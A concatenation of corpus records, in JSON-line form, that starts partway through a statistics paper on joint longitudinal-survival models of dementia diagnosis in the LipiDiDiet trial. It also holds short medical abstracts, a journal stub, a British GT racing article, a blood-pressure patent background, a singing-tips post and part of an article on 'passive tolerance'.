\\beta_{1} + \\beta_{3} \\text{\\texttt{fortasyn}}_{i} + b_{i1}. $$ \\end{document}$$ The parameter *\u03b1*~1~ has the same interpretation as the parameter *\u03b1* before, and the parameter *\u03b1*~2~ measures the association between the slope of the NTB memory domain trajectory and the risk of an event at the same time point, holding $\\documentclass[12pt]{minimal}\n \\usepackage{amsmath}\n \\usepackage{wasysym} \n ","metadata":{"pile_set_name":"PubMed Central"},"id":209} {"contents":" \\usepackage{amsfonts} \n \\usepackage{amssymb} \n \\usepackage{amsbsy}\n \\usepackage{mathrsfs}\n \\usepackage{upgreek}\n \\setlength{\\oddsidemargin}{-69pt}\n \\begin{document}$\\tilde {\\text {NTB}}_{i}(t)$\\end{document}$ constant. Using this joint model, two patients with the same level of NTB memory domain at the current moment do not","metadata":{"pile_set_name":"PubMed Central"},"id":210} {"contents":"necessarily have to be at equal risk of receiving the dementia diagnosis. For example, if one patient's NTB memory domain level is decreasing very rapidly while another patient's NTB memory domain level is remaining constant, it might be more realistic to assume that the first patient has a higher risk of receiving the dementia diagnosis than the latter - although they have the same value at the current moment.\n\nA similarity between this joint model and the standard joint model, is that the risk of an event at the current moment is related to characteristics of the trajectory at that same time point only. However, the risk of receiving the dementia diagnosis may not depend solely on the level of NTB memory domain or its rate of change at","metadata":{"pile_set_name":"PubMed Central"},"id":211} {"contents":"the current moment, but it might also be related to the history of the NTB memory domain levels. That is, two patients with the same characteristics at the current moment are not necessarily at the same risk of receiving a dementia diagnosis if their history of NTB memory domain levels were very different. One approach to take the history of NTB memory domain levels into account is by summarising its cumulative effect i.e., the area under the curve (AUC). The area under the curve indicates the cumulative effect of NTB memory domain values for a particular patient up to the current time point. We also investigated this type of association by fitting a joint model with the following survival sub-model $$\\documentclass[12pt]{minimal}\n ","metadata":{"pile_set_name":"PubMed Central"},"id":212} {"contents":" \\usepackage{amsmath}\n \\usepackage{wasysym} \n \\usepackage{amsfonts} \n \\usepackage{amssymb} \n \\usepackage{amsbsy}\n \\usepackage{mathrsfs}\n \\usepackage{upgreek}\n \\setlength{\\oddsidemargin}{-69pt}\n ","metadata":{"pile_set_name":"PubMed Central"},"id":213} {"contents":" \\begin{document} $$\\begin{array}{*{20}l} {}\\lambda_{i}(t) &= \\lambda_{0}(t) \\exp \\{ \\gamma_{1}\\text{\\texttt{fortasyn}}_{i} + \\gamma_{2}\\text{\\texttt{bmmse}}_{i} + \\gamma_{3} \\text{\\texttt{site}}_{i}\\\\ &\\quad+ \\alpha_{3}\\text{\\texttt{AUC}}_{i}(t) \\}, \\end{array} $$ \\end{document}$$\n\nwhere *\u03b1*~3~ measures how strongly the risk of an event at time *t* is related to the cumulative effect of NTB memory domain for patient *i* by time point *t*. A possible limitation of this joint model is that it gives all past values of NTB memory domain the same weight in terms of their impact on the risk of receiving the dementia diagnosis at the current time point. This may not always be a reasonable assumption. As an alternative, a weight function can be used that places different weights at different time points, for example to give more","metadata":{"pile_set_name":"PubMed Central"},"id":214} {"contents":"weight to more recent values of the longitudinal marker. For information on how to use this weight function we refer to \\[[@CR9]\\].\n\nFigure\u00a0[5](#Fig5){ref-type=\"fig\"} gives a graphical representation of different ways of modelling the association, respectively using the current value, the current value plus the rate of change and the cumulative effect of the longitudinal trajectory. Fig. 5Graphical representation of different ways of modelling the association between the longitudinal and survival process. The different graphs respectively denote the current value (**a**), the current value plus the rate of change (**b**) and the cumulative effect (i.e., the AUC) of the longitudinal trajectory (**c**)\n\nAll the statistical analyses in this paper were performed with statistical software package R, using R-package **JM** \\[[@CR32]\\]. The package uses maximum likelihood for the parameter estimation and assumes","metadata":{"pile_set_name":"PubMed Central"},"id":215} {"contents":"right-censoring. The R code to fit the joint models can be found in the web appendix (Additional file\u00a0[1](#MOESM1){ref-type=\"media\"}).\n\nResults {#Sec7}\n=======\n\nNote that results in this paper can to some extent differ from results in the LipiDiDiet main paper \\[[@CR22]\\], since different types of models are used. In the main paper, mixed models were used that included the outcome baseline value as a covariate, according to a prespecified statistical analysis plan. In the results presented below, the mixed model approach is part of the joint models and in this mixed model approach, the outcome baseline values are included in the longitudinal trajectory. Modelling outcome baseline values as part of the trajectory is preferred in the joint model context as it maximises the amount of information that is used to estimate the","metadata":{"pile_set_name":"PubMed Central"},"id":216} {"contents":"association between the longitudinal data and the survival data.\n\nResults of the standard joint model {#Sec8}\n-----------------------------------\n\nParameter estimates, standard errors, and associated *p*-values for the standard joint model are presented in Tables\u00a0[1](#Tab1){ref-type=\"table\"} and [2](#Tab2){ref-type=\"table\"}a, respectively for CDR-SB and NTB memory domain. Not surprisingly, from the longitudinal sub-models we observe that the CDR-SB and NTB memory domain scores significantly worsen over time, reflected by an increase of on average 0.61 (95% CI: 0.52-0.70) per year for CDR-SB and a decrease of on average 0.10 (95% CI: 0.04-0.16) per year for NTB memory domain. For the CDR-SB score, however, we see that there is significantly less worsening over time in the test group than in the control group, with the average increase being 0.23 (95% CI: 0.10-0.37) per year less in the","metadata":{"pile_set_name":"PubMed Central"},"id":217} {"contents":"test group compared to the control group. Table 1Results for the standard joint model for CDR-SBa) Without baseline MMSEb) With baseline MMSECoefficient (SE)*p* ValueCoefficient (SE)*p* ValueLongitudinal sub-model:*Time* *\u03b2*~1~0.609 (0.047)0.0000.605 (0.047)0.000*Fortasyn* *\u03b2*~2~0.071 (0.077)0.3610.077 (0.077)0.321*Time \u00d7 Fortasyn* *\u03b2*~3~-0.233 (0.069)0.001-0.234 (0.069)0.001*Bmmse* *\u03b2*~4~-0.122 (0.015)0.000-0.110 (0.016)0.000Log Hazard (SE)*p* ValueLog Hazard (SE)*p* ValueSurvival sub-model:*Fortasyn* *\u03b3*~1~0.394 (0.204)0.0530.125 (0.210)0.553*Ass.* *\u03b1*0.701 (0.077)0.0000.664 (0.083)0.000*Bmmse* *\u03b3*~2~\\-\\--0.228 (0.050)0.000 Table 2Results for the different types of joint models for NTB memory domaina) Current valueb) Current value plus slopec) Cumulative effectCoefficient (SE)*p* ValueCoefficient (SE)*p* ValueCoefficient (SE)*p* ValueLongitudinal sub-model:*Time* *\u03b2*~1~-0.101 (0.030)0.001-0.128 (0.030)0.000-0.092 (0.029)0.002*Fortasyn* *\u03b2*~2~0.042 (0.082)0.6170.039 (0.083)0.6400.042 (0.083)0.610*Time \u00d7 Fortasyn* *\u03b2*~3~0.052 (0.043)0.2190.049 (0.043)0.2540.054 (0.042)0.192*Bmmse* *\u03b2*~4~0.160 (0.021)0.0000.159 (0.021)0.0000.158 (0.021)0.000Log Hazard (SE)*p* ValueLog Hazard (SE)*p* ValueLog Hazard (SE)*p* ValueSurvival sub-model:*Fortasyn* *\u03b3*~1~0.154 (0.203)0.4490.513 (0.387)0.1850.112 (0.198)0.573*Ass.* *\u03b1*~1~-1.214 (0.174)0.000-1.162 (0.341)0.001\\--*Ass. slope* *\u03b1*~2~\\-\\--6.792 (1.854)0.000\\--*Ass. AUC* *\u03b1*~3~\\-\\-\\-\\--0.671 (0.118)0.000*Bmmse* *\u03b3*~2~-0.098 (0.057)0.085-0.156 (0.088)0.078-0.163","metadata":{"pile_set_name":"PubMed Central"},"id":218} {"contents":"(0.055)0.003\n\nFurther, we observe that both scores have strong associations with the risk of receiving the dementia diagnosis. In particular, a unit increase in CDR-SB corresponds to a exp(*\u03b1*) = 2.0-fold increase (95% CI: 1.7-2.3), and a 0.2 unit decrease in NTB memory domain corresponds to a exp(\u2212*\u03b1*\u00d70.2) = 1.3-fold increase (95% CI: 1.2-1.4) in the risk of receiving the dementia diagnosis. Thus, as expected, high values for CDR-SB and low values for NTB memory domain are associated with higher risks of receiving the dementia diagnosis. Note that the association for NTB memory domain (z-score) is reported per 0.2-unit increase, instead of per 1 unit, since the former denotes a more realistic increase.\n\nResults investigating the baseline confounding {#Sec9}\n----------------------------------------------\n\nWe notice from the results in Table\u00a0[1](#Tab1){ref-type=\"table\"}a that the coefficients *\u03b2*~3~ and","metadata":{"pile_set_name":"PubMed Central"},"id":219} {"contents":"*\u03b1*, which together quantify the indirect intervention effect, are both significant. These results suggest that the intervention decreases the risk of receiving the dementia diagnosis through its effect on CDR-SB. Simultaneously, not surprisingly given the baseline imbalance, we observe a nearly significant direct effect with the test group being exp(*\u03b3*~1~)=1.5-fold more likely to receive the dementia diagnosis than the control group. As explained above, the direct effect measures a constant effect over time, due to the proportional hazard assumption of the survival sub-model, and is therefore likely to capture possible effects of the baseline confounding. The significant direct effect in favour of the control group is therefore an indication of baseline confounding, also supported by the baseline difference in MMSE.\n\nComparing the results for *\u03b3*~1~ of the model with","metadata":{"pile_set_name":"PubMed Central"},"id":220} {"contents":"(Table\u00a0[1](#Tab1){ref-type=\"table\"}b) versus the model without baseline MMSE correction (Table\u00a0[1](#Tab1){ref-type=\"table\"}a), we observe that by correcting for baseline MMSE in the survival sub-model, the direct effect shrinks. This is also illustrated in Fig.\u00a0[6](#Fig6){ref-type=\"fig\"} where the effects of the coefficients for the separate components of the joint models are displayed over time. Comparing the effects of exp(*\u03b3*~1~) (the dashed lines) for 6a versus 6b shows that including the baseline MMSE correction, made the estimate for the direct effect shift towards a hazard ratio of 1, meaning no difference. Table\u00a0[1](#Tab1){ref-type=\"table\"} and Fig.\u00a0[6](#Fig6){ref-type=\"fig\"} also show that the estimates for the indirect effect components (*\u03b2*~2~, *\u03b2*~3~ and *\u03b1*) are hardly affected by the in - or exclusion - of baseline MMSE in the survival sub-model. Based on these results, we hypothesise that the baseline","metadata":{"pile_set_name":"PubMed Central"},"id":221} {"contents":"confounding in MMSE is indeed directly related to dementia diagnosis and that it masks the total intervention effect, being a combination of the indirect and direct processes. The latter is graphically illustrated in Fig.\u00a0[7](#Fig7){ref-type=\"fig\"}, in which the total intervention effect from the joint model - that is, the combination of the separate components of Fig.\u00a0[6](#Fig6){ref-type=\"fig\"} - is displayed as a solid line. Fig. 6Separate effects as estimated by the joint model for CDR-SB. The separate components exp(*\u03b3*~1~) (direct effect; dashed line), exp(*\u03b1*\u00d7*\u03b2*~2~) (indirect constant effect; solid line) and exp(*\u03b1*\u00d7*\u03b2*~3~\u00d7*t*) (indirect time-varying effect; dot dashed line), that together form the hazard ratio for the total intervention effect as estimated from the joint model for CDR-SB, plotted as separate effects in **a** without and in **b** with correction for baseline","metadata":{"pile_set_name":"PubMed Central"},"id":222} {"contents":"MMSE in the survival sub-model Fig. 7Total intervention effect as estimated by the joint model for CDR-SB. The total intervention effect on the hazard of dementia diagnosis as estimated from the joint model (solid line) and Cox model (dashed line) for CDR-SB, in **a** without and in **b** with correction for baseline MMSE in the survival sub-model. Corresponding 95% percentile confidence bands (light grey corresponding to the joint model and dark grey corresponding to the Cox model) were based on 2500 bootstrap samples\n\nFigure\u00a0[7](#Fig7){ref-type=\"fig\"} also shows the hazard ratios for the intervention effect on dementia diagnosis as estimated from a separately run Cox model (dashed lines). We observe that by using a joint model, and more specifically by incorporating the increasing intervention effect on the longitudinal marker, we can","metadata":{"pile_set_name":"PubMed Central"},"id":223} {"contents":"model an increasing intervention effect over time on the risk of dementia diagnosis. While by using the (standard) Cox model, with the underlying proportional hazard assumption, the intervention effect is assumed to be constant over time from baseline onward.\n\nResults for the association between the longitudinal and survival process {#Sec10}\n-------------------------------------------------------------------------\n\nTable\u00a0[2](#Tab2){ref-type=\"table\"} presents the results of joint models using the current value plus slope (b), and the cumulative effect (c) of the NTB memory domain trajectory for the link between the two processes. From the two types of joint models we observe similar results on the longitudinal process. From the association parameters, we observe that, as expected, decreasing trajectories and small cumulative values for NTB memory domain are associated with higher risks of receiving the dementia diagnosis. Both the rate of","metadata":{"pile_set_name":"PubMed Central"},"id":224} {"contents":"increase and the cumulative effect are strongly associated with the risk for dementia diagnosis. For example, if a patient's NTB memory domain score decreases by 0.2 units faster per year, or 1\/60 units faster per month, then the risk of dementia diagnosis is associated with a exp(\u2212*\u03b1*~2~\u00d70.2) = 3.9-fold (95% 1.9-8.0) increase in the hazard. In the same way, if the cumulative effect of the history of the NTB memory domain levels (i.e., AUC) decreases with one unit, then this corresponds to a exp(\u2212*\u03b1*) = 2.0-fold increase (95% CI: 1.6-2.5) in the risk of dementia diagnosis.\n\nWe compared the two alternative types of joint models with the standard joint model based on measures for the model fit (information criteria AIC and BIC). Both measures indicated that the joint model","metadata":{"pile_set_name":"PubMed Central"},"id":225} {"contents":"using the current value plus slope is the best fitting joint model, suggesting that inclusion of the slope of the NTB memory domain trajectory improves the fit of the model compared to the standard joint model. The model using a cumulative effect was not found to have a better fit to the data than the standard joint model.\n\nDiscussion {#Sec11}\n==========\n\nScientists within the (prodromal) AD research field have much to gain from joint models for longitudinal and survival data. When estimating the time until clinical dementia diagnosis, while accounting for the effect of a longitudinal biomarker or cognitive measure, joint models can not only provide estimates for their association, but they can also further investigate the type of association.\n\nThis paper aimed to provide an introduction into the application of joint","metadata":{"pile_set_name":"PubMed Central"},"id":226} {"contents":"models with special interest in the relationship between the longitudinal information and the event times, using data from a prodromal AD trial. First of all, we reanalysed the data, combining the longitudinal data on cognitive functioning with the survival data on dementia diagnosis in order to account for their dependencies. Both longitudinal outcomes, CDR-SB and NTB memory domain, were strongly associated with the risk of dementia diagnosis. For CDR-SB we observed a statistically significant intervention effect on the longitudinal trajectory. Secondly, for NTB memory domain we investigated the type of association between the longitudinal profiles and the risk of dementia diagnosis. Specifically, we investigated three association types: the current value, the current value in combination with the rate of increase and the cumulative effect. We concluded that it","metadata":{"pile_set_name":"PubMed Central"},"id":227} {"contents":"was the current value in combination with the rate of increase of the longitudinal trajectory, that best captures the association with dementia diagnosis.\n\nAdditionally, this paper demonstrated the added value of a typical characteristic of joint models, namely the combination of the direct and indirect processes, both with different possibilities in modelling the effect of time. The joint model suggested an increased hazard ratio for the test versus the control group at the beginning of the trial. Given that there was no intervention before or at baseline, this increased hazard ratio was hypothesised to be caused by an imbalance between the intervention groups in characteristics at baseline. The groups were found to have a statistically significant imbalance at baseline in MMSE. MMSE is known to reflect cognitive performance and","metadata":{"pile_set_name":"PubMed Central"},"id":228} {"contents":"having an imbalance in MMSE between the intervention groups at baseline suggested that the groups - despite the randomisation process - might have on average differed in where they were in the disease continuum at baseline. Including baseline MMSE in the joint model markedly decreased the hazard ratio at the beginning of the trial, which fits into the hypothesis that the increased hazard ratio at the beginning of the trial was caused by baseline imbalance.\n\nThe imbalance between the intervention groups in characteristics at baseline might have been composed of several factors for which baseline MMSE was only a proxy. However, including the baseline MMSE in the joint models provided a tool to disentangle baseline confounding from the intervention effect.\n\nFurther, this paper illustrated another positive feature of joint models","metadata":{"pile_set_name":"PubMed Central"},"id":229} {"contents":"which is to model intervention effects on the hazard ratio that are changing over time. In the standard Cox models, the intervention effect is assumed to be constant during the entire follow-up, an assumption that is often not biologically meaningful. Using a joint model, it is possible to model a time-varying intervention effect on the survival outcome by incorporating a time-varying intervention effect on the longitudinal marker. In this prodromal AD trial, the joint model revealed an indication of an increasing intervention effect over time, suggesting a decreased hazard ratio for the test group at the end of the 24-month trial.\n\nUsing time to dementia diagnosis as an outcome measure within the limited time-frame of a clinical trial has practical issues which complicate its use. First, a large part","metadata":{"pile_set_name":"PubMed Central"},"id":230} {"contents":"of the diagnoses cluster around the study visits when cognitive testing is performed and progression to dementia is thus detected. As a consequence, a part of the observed event times is interval-censored, although the statistical software used for the analyses, did not cover this type of censoring. Another aspect is that, the diagnosis represents a single time point when the disease is thought of as a process moving along a continuum. Time to dementia diagnosis provided therefore only a rough measure of disease progression. However, using the information on time to dementia diagnosis was found to have an added value, by applying a statistical approach that combines every patient's moment of diagnosis with his or her longitudinal trajectory.\n\nConclusion {#Sec12}\n==========\n\nJoint models provide a valuable tool in the statistical analysis","metadata":{"pile_set_name":"PubMed Central"},"id":231} {"contents":"of clinical studies with longitudinal and survival data, such as in prodromal Alzheimer's disease trials, and have several added values compared to separate analyses.\n\nAdditional file\n===============\n\n {#Sec13}\n\nAdditional file 1R code to fit joint models. (PDF 35 kb)\n\nAD\n\n: Alzheimer's disease\n\nAUC\n\n: Area under the curve\n\nCDR-SB\n\n: Clinical dementia rating sum of boxes\n\nCERAD\n\n: Consortium to establish a registry for AD\n\nMMSE\n\n: Mini--mental state examination\n\nNTB\n\n: Neuropsychological test battery\n\n**Publisher's Note**\n\nSpringer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations.\n\nThe authors thank the LipiDiDiet clinical study group for the valuable data that was used in this paper. The last author would like to acknowledge support by the Netherlands Organization for Scientific Research (VIDI grant number 016.146.301).\n\nAuthors TH and HS designed","metadata":{"pile_set_name":"PubMed Central"},"id":232} {"contents":"the trial. Author FO drafted the manuscript and analysed the results under supervision of SS and DR. Authors SS, DR, TH and AH provided critical input to the manuscript. All authors read and approved the final manuscript.\n\nThe LipiDiDiet study project was funded by the European Commission under the 7th framework programme of the European Union (grant agreement number 211696). The funding body had no role in the study design, data collection, data analysis, data interpretation, or in writing the manuscript.\n\nThe data are proprietary information of the LipiDiDiet clinical study group.\n\nNot applicable.\n\nNot applicable.\n\nFO, SS and AH are employees of Danone Nutricia Research. HS and TH were supported by a grant from the European Commission for the LipiDiDiet study (FP7-211696 LipiDiDiet). HS has served as advisory board member for ACImmune","metadata":{"pile_set_name":"PubMed Central"},"id":233} {"contents":"and MERCK. Institution, UEF, has received funding from Nutricia for extension studies of LipiDiDiet Trial (no personal payment). Author DR declares to have no competing interests.\n","metadata":{"pile_set_name":"PubMed Central"},"id":234} {"contents":"Predicting early academic success: HESI Admissions Assessment Exam.\nStudent retention is a major challenge for undergraduate nursing programs, with the highest attrition occurring in the first year of the nursing curriculum. Admission criteria have been studied extensively but usually as related to end-of-program outcomes such as National Council Licensure Examination for Registered Nurses success. The purpose of this study was to examine the relationship between HESI Admission Assessment (A(2)) scores and academic performance in the 2 first-semester nursing courses of an associate degree program, Nursing-1 and Nursing-2. Findings indicated that the composite A(2) scores were strongly correlated with both Nursing-1 and Nursing-2 final course grades. Of the scores on the 4 component A(2) exams completed by the sample students (basic math skills, reading comprehension, vocabulary\/general knowledge, and grammar), vocabulary\/general","metadata":{"pile_set_name":"PubMed Abstracts"},"id":235} {"contents":"knowledge scores had the strongest relationship to final course grades in both nursing courses. The authors concluded that A(2) scores facilitated evidence-based admission decisions.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":236} {"contents":"Foundations and Trends in Computer Graphics and Vision\n\nFoundations and Trends in Computer Graphics and Vision is a journal published by Now Publishers. It publishes survey and tutorial articles on all aspects of computer graphics and vision. The editor-in-chiefs are Brian Curless (University of Washington), Luc Van Gool (KU Leuven) and Richard Szeliski (Microsoft Research).\n\nAbstracting and indexing \nThe journal is abstracted and indexed in:\n Inspec\n EI-Compendex\n Scopus\n CSA databases\n ACM Digital Library\n\nExternal links \n \n\nCategory:Computer science journals\nCategory:Now Publishers academic journals\nCategory:English-language journals\nCategory:Quarterly journals\nCategory:Publications established in 2007","metadata":{"pile_set_name":"Wikipedia (en)"},"id":237} {"contents":"The rapid growth of GT4 over the past two seasons has left many British GT Championship regulars turning their attention away from GT3, raising questions about the future of the top class.\n\nLast weekend\u2019s double-header at Snetterton had just ten GT3 cars alongside 17 GT4 entries, with the latter continuing to benefit from the rising costs of GT3 that are forcing drivers, teams and manufacturers to look further down the field.\n\nMcLaren is amongst the names absent from the top class this season, and McLaren GT Sporting Director Bas Leinders explains why his brand is concentrating on its 570S GT4 in British GT.\n\n\u201cThe reason we have the GT4s is because they are very good cars, it\u2019s a good championship and GT4 is on the up, so it is important that","metadata":{"pile_set_name":"OpenWebText2"},"id":238} {"contents":"McLaren is represented in the best possible way,\u201d he told Sportscar365.\n\n\u201cThere will be very good competition in the future \u2013 there already is now \u2013 but with Audi, BMW and Mercedes stepping up, it will only get more entertaining.\n\n\u201cGT4 is very competitive, with a lot of cars, a lot of teams and budgets are quite reasonable.\u201d\n\nStuart Parker\u2019s Team Parker Racing currently competes with a pair of Bentley Continental GT3s as well as the series\u2019 sole Porsche Cayman GT4 Clubsport MR, and he says that the manufacturer interest in GT4 is a major attraction.\n\n\u201cThe competition is getting better, and that\u2019s because there are more manufacturers getting involved,\u201d he told Sportscar365.\n\n\u201cYou\u2019ve got more product choice, so it\u2019s not a two-horse race which it was a few years ago. Three years","metadata":{"pile_set_name":"OpenWebText2"},"id":239} {"contents":"ago, you\u2019d have a Ginetta or an Aston Martin, and that was your lot.\n\n\u201cNow, there\u2019s the Porsche in the mix, the McLaren, and the Nissans are back.\n\n\u201cNext year is going to be really interesting because you\u2019ve got all the big German manufacturers coming back in.\n\n\u201cIt\u2019s the age-old cycle \u2013 GT3 is going to die because it\u2019s getting too expensive, and GT4 becomes the new GT3.\u201d\n\nA bold move from a GT3 regular saw Joe Osborne return to GT4 this season with Tolman Motorsport, something he says future-proofs his career.\n\n\u201cThe most common thing people have said to me is, \u2018Oh you\u2019ve stepped down to GT4,'\u201d he told Sportscar365.\n\n\u201cI can understand the logic, and GT3 is the headline class and the fastest, but if you now look at the grid, we\u2019re","metadata":{"pile_set_name":"OpenWebText2"},"id":240} {"contents":"two-thirds of it in GT4.\n\n\u201cYes, it\u2019s a step down in terms of speed, but in competitiveness, we have twice as many cars. OK, we don\u2019t have the drivers like [Matt] Griffin, [Phil] Keen, and Jonny Adam, but there are some quick under-the-radar guys.\u201d\n\nParker worries about the budgets required for GT3, meanwhile.\n\n\u201cThe cost of GT3 is getting too much, and it\u2019s getting to manufacturer levels of financial commitment,\u201d he said.\n\n\u201cPrivate teams just can\u2019t afford to pay the bills, and it\u2019s gone from needing a wealthy person to a super-wealthy person.\u201d\n\nWith a reduced GT3 entry last season and some manufacturers missing, Osborne was very vocal about his worries regarding the class\u2019 downfall.\n\nHe admitted he didn\u2019t expect GT3 to survive the off-season and that a 12-car full-season entry was far past","metadata":{"pile_set_name":"OpenWebText2"},"id":241} {"contents":"his expectations for this year.\n\n\u201cI lost \u00a350 on a bet with Benjamin [Franassovici, Championship Manager] that he\u2019d have less than eight cars, and he proved me wrong!\u201d he said.\n\n\u201cI\u2019ve got no problems in being wrong if the series is healthy, but I still say that GT3 is frail. We\u2019re now down to ten cars, and to me that isn\u2019t a proper competitive championship.\n\n\u201cIt\u2019s hard to attract new blood, and I think GT4 is a lot more attainable, budget-wise, for these guys, and that\u2019s why it has grown.\u201d\n\nFranassovici, meanwhile, assures that he is confident GT3 will remain part of the package next season, and that he is aiming for more cars than this year.\n\n\u201cWe\u2019re pushing for next year,\u201d he told Sportcar365. \u201cI think it\u2019s very possible that we\u2019ll have","metadata":{"pile_set_name":"OpenWebText2"},"id":242} {"contents":"the same numbers next year, if not a couple more.\n\n\u201cThere are a lot of young Silver guys who are stepping up. Ten is not what I want, so we\u2019re pushing for more.\u201d\n\nThe McLaren is part of the new generation of GT4 cars and Leinders was quick to praise the improvements made to the category in recent years.\n\n\u201cThey are very nice cars now, and a few years ago they were not so nice race cars,\u201d he said. \u201cThey\u2019re enjoyable to drive and the speed has gone up.\n\n\u201cOK, the budget has gone up a little bit, but they are still only half the price of GT3 cars.\u201d\n\nWhile GT4 cars are still considerably more affordable than their GT3 counterparts, Osborne isn\u2019t so sure that the arrival of new manufacturers next year","metadata":{"pile_set_name":"OpenWebText2"},"id":243} {"contents":"will keep this true.\n\n\u201cGT4 will start its cycle of becoming GT3, which will ultimately get too expensive and then everything starts again,\u201d he predicts.\n\n\u201cBy the time I finish my career it will be GT86, because it\u2019s just getting ridiculous.\u201d","metadata":{"pile_set_name":"OpenWebText2"},"id":244} {"contents":"The present invention relates to blood pressure measurement, in particular to a method and apparatus for the measurement of systolic blood pressure.\nIn most automatic indirect methods of blood pressure measurement, a pressure cuff is attached to a patient's arm adjacent a blood vessel, the cuff is pressurized with an applied pressure which is high enough to occlude the blood vessel and the applied pressure is gradually reduced. As the pressure is reduced to below systolic and then diastolic, blood begins to flow through the blood vessel creating the well known Korotkoff sounds and pulsatile pressures in the blood vessel. The sounds can be detected by a microphone at pulsatile pressures by a pressure transducer. The sensor, whether a microphone or pressure transducer, measures a quantity which is representative","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":245} {"contents":"of the patient's blood pressure.\nAn oscillometric table is then formed of values of the quantity measured at various applied pressures as the applied pressure is gradually changed. Using the table the systolic and diastolic blood pressures are determined.\nIn a well behaved reading of blood pressure, the values generally increase from low values at applied pressures above the systolic to a maximum value at applied pressures between systolic and diastolic. Similarly, the values generally increase from low values at applied pressures less than diastolic to the maximum values. Respiration of the patient and other artifacts often cause the table to be non-monotonic. For example, respiration of the patient can change the instantaneous blood pressure by as much as forty millimeters of mercury. Effects of respiration on blood pressure are","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":246} {"contents":"usually worse with people with compromised respiration and tends to be more pronounced at higher applied cuff pressures at or around systolic blood pressure levels.\nRespiration then can affect the accuracy of blood pressure measurement particularly where a single threshold algorithm is applied to the oscillometric table in order to determine systolic blood pressure. Means for eliminating or minimizing the effects of respiration on the accuracy of measurement of systolic blood pressure is desireable.","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":247} {"contents":"Height-Based Equations Can Improve the Diagnosis of Elevated Blood Pressure in Children.\nHigh blood pressure (BP) is usually underdiagnosed in children and adolescents, particularly due to its complex diagnosis process. This study describes novel height-based equations for the detection of BP disorders (BP > 90th percentile) and compares the accuracy of this approach with previously described screening methods to identify BP disorders. Height-based equations were built using the 90th percentile values for systolic and diastolic BP and respective height values from the current guideline of high-BP management in children. This guideline was also used as the gold standard method for identification of BP disorders. The equations were tested in Brazilian (n = 2,936) and American (n = 6,541) populations of children with 8-13 years old. The obtained equations were","metadata":{"pile_set_name":"PubMed Abstracts"},"id":248} {"contents":"70 + 0.3 \u00d7 height (in cm) for systolic BP and 35 + 0.25 \u00d7 height (in cm) for diastolic BP. The new equations presented sensitivity and negative predictive value of near 100% and specificity > 91% and showed higher specificity and positive predictive value when compared with other screening tools. Importantly, height-based equations had greater agreement (kappa coefficient = 0.75-0.81) with the gold standard method than the other methods (kappa coefficient = 0.53-0.73). Further analysis showed that alternative height-based equations designed to identify hypertension (BP \u2265 95th percentile) also showed superior performance (kappa coefficient = 0.89-0.92) compared with other screening methods (kappa coefficient = 0.43-0.85). These findings suggest that the use of height-based equations may be a simple and feasible approach to improve the detection of high","metadata":{"pile_set_name":"PubMed Abstracts"},"id":249} {"contents":"BP in the pediatric population.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":250} {"contents":"Plasminogen activator inhibitor-1, tissue-type plasminogen activator, and fibrinogen: Effect of dieting with or without exercise in overweight postmenopausal women.\nThis study assessed the short- and long-term effects of an energy-restrictive diet with or without exercise on plasminogen activator inhibitor-1 antigen (PAI-1 Ag) and PAI-1 activity, tissue-type plasminogen activator antigen (TPA Ag), and fibrinogen serum levels. Healthy, overweight postmenopausal women (age, 53.8+\/-2.5 years; body mass index, 25 to 42 kg\/m2; n=121) were randomly assigned to one of three groups: control, 4200-kJ\/d diet, or 4200-kJ\/d diet with combined aerobic and anaerobic exercise. PAI-1 activity and PAI-1 Ag, TPA Ag, and fibrinogen levels were measured at baseline, after a 12-week intervention, and after a further 6-month follow-up. PAI-1 Ag and activity and TPA Ag were positively correlated with serum triglyceride levels, the","metadata":{"pile_set_name":"PubMed Abstracts"},"id":251} {"contents":"abdominal-to-total-body fat ratio (as assessed by total-body dual-energy x-ray absorptiometry), fasting blood glucose, and systolic BP and negatively with HDL cholesterol and sex hormone-binding globulin. The diet led to profound decreases and normalization of PAI-1 activity (approximately 50%), PAI-1 Ag (approximately 30%) and TPA Ag (approximately (29%), but exercise conferred no additional effect. Fibrinogen did not change. At follow-up there were no longer any significant changes (P>.05). In conclusion, PAI-1 Ag and activity as well as TPA Ag seem to be part of the metabolic syndrome X. The diet made the blood less thrombogenic in the short term with no effect of the added exercise.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":252} {"contents":"Find out how to warm up with lip trills\/ lip bubbles. A vocal exercise that\u2019s rumored to be a favourite of Beyonc\u00e9 if you needed more convincing! \ud83d\ude09 If you missed the straw warm up you can catch it here.\n\nNew Sing with Hannah videos are released every Monday- subscribe to make sure you never miss out. Have any questions? email me at: info@singwithhannah.com or leave a comment. Happy vocalising!\n\nMy first singing tip video is here! I hope you will find them useful- I keep them short and sweet, so leave a comment or message me if you would like more information. This exercise helps balance the air above and below the vocal folds- which helps them function efficiently and easily. This ultimately results in increased stamina, co-ordination and","metadata":{"pile_set_name":"Pile-CC"},"id":253} {"contents":"vocal range. Not a bad result for making silly sounds into a plastic tube!","metadata":{"pile_set_name":"Pile-CC"},"id":254} {"contents":"Passive tolerance is probably not a concept many people have yet heard of. Let's hope that changes, because \"passive tolerance\" is the most hopeful bit of academic social psychology research to emerge in a long time. It is the idea that simply living in an area of high diversity rubs off on you, making you more tolerant of ethnic diversity.\n\nThink of all those tiny interactions between different ethnic groups on an average British city street: the newsagent, the corner shop, the delivery driver, the postman, friends laughing, children playing, a pair of lovers. This is what generates passive tolerance. You don't have to be part of the interaction yourself; just witnessing it is enough to have a significant impact \u2013 comparable to the effect passive smoking has on","metadata":{"pile_set_name":"OpenWebText2"},"id":255} {"contents":"your health, hence the term passive tolerance.\n\nThis is the finding of seven studies carried out over 10 years in the United States, Europe and South Africa, led by a team of social psychologists at the University of Oxford and published in the journal of the United States National Academy of Sciences. They were careful to rule out the most obvious explanation for their finding, social psychologists Miles Hewstone and Katharina Schmid explain \u2013 namely, that the higher levels of tolerance in more diverse neighbourhoods are a result of more tolerant people choosing to live there. Two of the studies were conducted over several years and tracked the same individuals, showing how attitudes changed. Even prejudiced people showed a greater degree of tolerance over time if they lived in","metadata":{"pile_set_name":"OpenWebText2"},"id":256} {"contents":"a mixed neighbourhood.\n\nThe study's positive message is reinforced by the finding of a separate study led by the same Oxford team \u2013 the biggest to date in England on diversity and 